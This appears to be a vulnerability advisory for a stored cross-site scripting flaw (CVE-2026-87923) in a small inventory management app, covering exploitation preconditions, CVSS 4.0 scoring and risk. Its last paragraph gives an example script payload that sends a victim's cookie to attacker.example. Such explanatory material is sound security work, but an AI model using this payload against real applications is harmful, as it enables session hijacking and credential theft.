Inventory Management System CVE-2026-87923

The inventory management application must be network-accessible to the attacker, and the attacker must be able to submit input to the category_name, brand_name, or product_name fields (PR:N per CVSS 4.0, suggesting no authentication required to inject payload, though this is inferred from the vector rather than explicitly confirmed in the description). For the XSS to fire, a victim user must navigate to the affected list page that renders the injected content (UI:P). Exploitation is limited to browsers that render the application pages - server-side or API-only consumers are unaffected. The project appears to have a very small real-world deployment footprint, which significantly limits the population of exploitable targets.

The CVSS 4.0 score of 5.3 (Medium) reflects a network-accessible, low-complexity attack requiring no privileges but dependent on user interaction (UI:P). Impact is rated as VI:L on the vulnerable system, with VC:N in the provided vector - though XSS can realistically enable session-token theft (a confidentiality impact not fully captured). The exploit is publicly available (E:P in the CVSS 4.0 vector, confirmed by GitHub issue #12), which elevates practical exploitation risk above what the numeric score alone suggests. No KEV listing is present, and no EPSS score was provided, making widespread automated exploitation unlikely - but targeted misuse against authenticated admin sessions is plausible given POC availability. The primary risk is session hijacking or credential theft against users of this application, not infrastructure compromise. The project appears to be a hobby/educational GitHub repository with minimal production footprint, substantially limiting real-world blast radius. The absence of any vendor response or patch is a concern for any deployment.

An attacker submits a crafted product name or category name containing a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) through the inventory application's input form, which is stored via DBOperation.php. When an authenticated administrator or user subsequently views the product/category list page, the payload executes in their browser, exfiltrating their session cookie to an attacker-controlled server. A public proof-of-concept demonstrating this flow is available in GitHub issue #12.